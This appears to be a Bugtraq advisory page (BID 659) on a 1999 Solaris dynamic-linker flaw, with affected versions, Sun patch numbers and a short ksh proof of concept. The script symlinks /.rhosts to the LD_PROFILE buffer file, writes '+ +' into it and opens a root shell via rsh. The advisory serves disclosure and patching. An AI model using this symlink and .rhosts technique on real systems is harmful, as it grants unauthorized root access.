Solaris Profiling File Creation Vulnerability

BID:659

Info

Solaris Profiling File Creation Vulnerability

Bugtraq ID: 659
Class: Unknown
CVE:
Remote: No
Local: Yes
Published: Sep 22 1999 12:00AM
Updated: Sep 22 1999 12:00AM
Credit: This vulnerability was found by Steve Mynott <[email protected]>.
Vulnerable: Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Sun Solaris 2.6_x86
Sun Solaris 2.6
Sun Solaris 2.5_x86
Sun Solaris 2.5
Sun Solaris 2.4_x86
Sun Solaris 2.4
Not Vulnerable: Sun Solaris 7.0_x86
Sun Solaris 7.0

Discussion

Solaris Profiling File Creation Vulnerability

A vulnerability in the dynamic linkers while profiling a shared object allows local users to create arbitrary files in the system. It canno't be used to overwrite existing files.

If the LD_PROFILE environment variable is defined it instructs the dynamic linker to profile the shared object defined by it. When profiling is enabled, a profiling buffer file is created and mapped. The name of the buffer file is the name of the shared object being profiled with a .profile extension. By default this buffer is placed under /var/tmp.

The dynamic linker created the buffer file insecurely in the case where it runs in the context of a setuid application. It follows symbolic links while creating the file.

This is Sun BugID 4150646. This is the same bug as Sun BugID 1241843. The new instance was introduced after an extensive rewrite of the dynamic linker. The problem was originally fixed in Solaris 2.5.1 and back patched. It was reintroduced in 2.6 and back patched into 2.5.1.

Exploit / POC

Solaris Profiling File Creation Vulnerability

#! /bin/ksh
# LD_PROFILE local root exploit for solaris
# [email protected] 19990922
umask 000
ln -s /.rhosts /var/tmp/ps.profile
export LD_PROFILE=/usr/bin/ps
/usr/bin/ps
echo + + > /.rhosts
rsh -l root localhost csh -i

Solution / Fix

Solaris Profiling File Creation Vulnerability

Solution:
Patches are available to all Sun customers at http://sunsolve.sun.com


Sun Solaris 2.6

Sun Solaris 2.4_x86

Sun Solaris 2.5
  • Sun 103242-07
    sparc


Sun Solaris 2.5_x86
  • Sun 103243-07
    x86


Sun Solaris 2.4
  • Sun 102049-05
    sparc


Sun Solaris 2.5.1 _x86

Sun Solaris 2.5.1

References

Solaris Profiling File Creation Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report